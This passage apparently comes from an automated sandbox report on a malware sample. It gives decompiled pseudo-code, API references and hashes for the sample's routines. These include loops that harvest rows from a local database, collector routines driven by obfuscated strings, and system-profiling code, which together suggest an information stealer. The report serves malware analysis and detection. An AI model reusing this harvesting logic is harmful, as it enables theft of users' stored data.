						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Strings

p(a, xrefs: 004086AC

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: p(a
API String ID: 3196222039-3428339238
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x618c08
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x616738
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Strings

8ga, xrefs: 004081AF

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: 8ga
API String ID: 3196222039-3308306836
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043D07B, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302
_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 850363499-2366072709
Opcode ID: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction ID: deb88ce59f4257985fd57ecec794fe4b33aed45866eec360a80de3141b7b1a80
Opcode Fuzzy Hash: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction Fuzzy Hash: 56F12AF1E002299FDF24CF58DC81BAEB7B5BB89304F14519AE609A7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00586B40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00586BC1
lstrcat.KERNEL32(?,xWa), ref: 00586BD5
sscanf.NTDLL ref: 00586C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C38
ExitProcess.KERNEL32 ref: 00586C52

Strings

xWa, xrefs: 00586BC7, 00586BCD
8Ta, xrefs: 00586C05, 00586C0B

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8Ta$xWa
API String ID: 2797641603-2404432779
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 34d48402f064252757d9d5d422469114b1a404742766d3ba38c85e12e4533a57
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 17310EB2D1121CABCB58DF94DD85ADEB7B9BF48300F0085EAE109A2150EB305B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0058B264
memset.NTDLL ref: 0058B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0058B286
__aulldiv.LIBCMT ref: 0058B2A0
wsprintfA.USER32 ref: 0058B2CC

Strings

@, xrefs: 0058B27B
([X, xrefs: 0058B2C8, 0058B2D5, 0058B2CB

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([X$@
API String ID: 3391354518-3456418885
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 7227ef588a92ec564de6ce848dcbf17beee8928b7ce8f170d8b0860876e32da5
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 6E0100B1D40208ABDB00DFE4DD49BEEB7B8FF44700F108958F615A7280D7B599118B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00591770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00592CEA,?), ref: 00591778
StrCmpCA.SHLWAPI(?,00419340,?,00592CEA,?), ref: 005917C5
StrCmpCA.SHLWAPI(?,00419344,?,00592CEA,?), ref: 005917DF
StrCmpCA.SHLWAPI(?,0041934C,?,00592CEA,?), ref: 005917F9

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: 238cd531bfb7f6be5fb9ec6a991c01509c803915bdadd3dfc2aecd15dc97a966
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 80319039B0461AEBCF00DFB1CA88AEE7FB8BE197407248455E525A7640D734DE40FB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t265;
				intOrPtr _t271;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				void* _t407;

				_t407 = __eflags;
				 *0x41a838 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
				E00407060();
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x619640
				_t307 =  *0x41a250; // 0x617580
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16);
				_t243 =  *0x41a1dc; // 0x618a10
				_t309 =  *0x41a7a0; // 0x618e08
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16);
				_t245 =  *0x41a750; // 0x618a40
				_t311 =  *0x41a09c; // 0x617418
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16);
				_t247 =  *0x41a27c; // 0x619630
				_t313 =  *0x41a7cc; // 0x618c88
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16);
				_t315 =  *0x41a638; // 0x618e68
				E0040A3F0( *0x41a520, _t407, _t315,  *0x41a520, _a4, _a8, _a12, _a16);
				_t317 =  *0x41a7d8; // 0x618e88
				E0040A3F0( *0x41a42c, _t407, _t317,  *0x41a42c, _a4, _a8, _a12, _a16);
				_t253 =  *0x41a5c8; // 0x6194f0
				_t319 =  *0x41a390; // 0x618b08
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16);
				_t255 =  *0x41a47c; // 0x6195a0
				_t321 =  *0x41a068; // 0x6175d0
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16);
				_t257 =  *0x41a24c; // 0x618a58
				_t323 =  *0x41a168; // 0x618b28
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16);
				_t259 =  *0x41a3e0; // 0x618a28
				_t325 =  *0x41a1d4; // 0x6189e0
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16);
				_t327 =  *0x41a5e0; // 0x618ba8
				E0040A3F0( *0x41a028, _t407, _t327,  *0x41a028, _a4, _a8, _a12, _a16);
				_t329 =  *0x41a738; // 0x6177d8
				E0040A3F0( *0x41a614, _t407, _t329,  *0x41a614, _a4, _a8, _a12, _a16);
				_t265 =  *0x41a444; // 0x619660
				_t331 =  *0x41a338; // 0x618bc8
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16);
				_t333 =  *0x41a304; // 0x617558
				E0040A3F0( *0x41a094, _t407, _t333,  *0x41a094, _a4, _a8, _a12, _a16);
				E0040A3F0( *0x41a440, _t407,  *0x41a588,  *0x41a440, _a4, _a8, _a12, _a16);
				_t271 =  *0x41a54c; // 0x619510
				_t337 =  *0x41a764; // 0x618ce8
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16);
				_t339 =  *0x41a6b4; // 0x619028
				E0040A3F0( *0x41a6e0, _t407, _t339,  *0x41a6e0, _a4, _a8, _a12, _a16);
				_t275 =  *0x41a100; // 0x618a70
				_t341 =  *0x41a078; // 0x617788
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16);
				_t277 =  *0x41a708; // 0x619680
				_t343 =  *0x41a5c4; // 0x618950
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16);
				_t279 =  *0x41a114; // 0x6188c0
				_t345 =  *0x41a634; // 0x6175a8
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16);
				_t281 =  *0x41a3e8; // 0x619690
				_t347 =  *0x41a414; // 0x616498
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16);
				_t283 =  *0x41a398; // 0x6194d0
				E0040A510(_t283, _t407,  *0x41a024, _t283, _a4, _a8, _a12, _a16);
				_t351 =  *0x41a2c8; // 0x616648
				E0040A510( *0x41a3bc, _t407, _t351,  *0x41a3bc, _a4, _a8, _a12, _a16);
				_t287 =  *0x41a5c0; // 0x618968
				_t353 =  *0x41a320; // 0x616618
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16);
				_t289 =  *0x41a350; // 0x619520
				_t355 =  *0x41a0c4; // 0x617698
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16);
				_t291 =  *0x41a2ec; // 0x6188f0
				_t357 =  *0x41a620; // 0x616558
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16);
				_t293 =  *0x41a020; // 0x6188d8
				_t359 =  *0x41a704; // 0x6126b0
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16);
				_t295 =  *0x41a3d0; // 0x618938
				_t361 =  *0x41a224; // 0x6191c8
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16);
				_t297 =  *0x41a29c; // 0x618920
				_t363 =  *0x41a7e0; // 0x6164c8
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16);
				_t299 =  *0x41a57c; // 0x618908
				_t365 =  *0x41a34c; // 0x612950
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16);
				_t301 =  *0x41a060; // 0x619550
				_t367 =  *0x41a0d0; // 0x6177b0
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16);
				_t369 =  *0x41a6dc; // 0x618980
				E0040A620( *0x41a1ec, _t407, _t369,  *0x41a1ec, _a4, _a8, _a12, _a16);
				_t304 =  *0x41a21c; // 0x618998
				_t370 =  *0x41a484; // 0x6191e8
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0);
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				E004137E0(_a4,  *0x41a660, _t305, _t234);
				E0040B720(0x41a838, 4);
				E00407150();
				return E00407170();
			}

0x0040a700
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7da
0x0040a7e1
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8be
0x0040a8c5
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a930
0x0040a937
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa67
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(00617738,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618800), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618DA8), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618710), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618D48), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618C48), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618740), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618B88), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00618B48), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00618698), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00618698), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000000), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,006186C8), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00618038), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(00000000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

Xua, xrefs: 0040A930
Hfa, xrefs: 0040AA86
Xea, xrefs: 0040AAF8
P)a, xrefs: 0040AB90

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: Hfa$P)a$Xea$Xua
API String ID: 3801270024-1517118323
Opcode ID: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004359C7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 004359D9
_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

-, xrefs: 00435F8E

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction ID: a8b8f357aa7a6630ce1e211b1260c09d7ab94f659ab4a144c6ad8838ab25bcf3
Opcode Fuzzy Hash: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction Fuzzy Hash: 3DA1AFB0D016299BDF24DF54CC89BEEB7B0AB48304F2491DAE5197B281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435815, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

-, xrefs: 00435F8E
xD@, xrefs: 0043583C

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -$xD@
API String ID: 1811813154-1745409720
Opcode ID: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction ID: 8e6b7f86714aefc4f2355d22d061a0f622bb108fa242e70a0a8807636438f28f
Opcode Fuzzy Hash: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction Fuzzy Hash: 4FA19BB0D016299FDF24DF54CC89BEEB7B0AB48305F1491DAE4196B281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005897E0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058986B
RtlAllocateHeap.NTDLL(00000000), ref: 00589872
lstrcat.KERNEL32(?,?), ref: 005898B9
lstrcat.KERNEL32(?,00418BC4), ref: 005898CB
lstrlen.KERNEL32(?), ref: 005898DA

Strings

Hva, xrefs: 00589818

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID: Hva
API String ID: 2177231248-3256388308
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: 81addb497dca7bcc77b83c5c44083304cd5a2fc81f07035ca15fc876599d7222
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: 823163B190010CABCB14EFA4DD46FEA77B8BF48300F0485A8F709A7151D635DA61CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
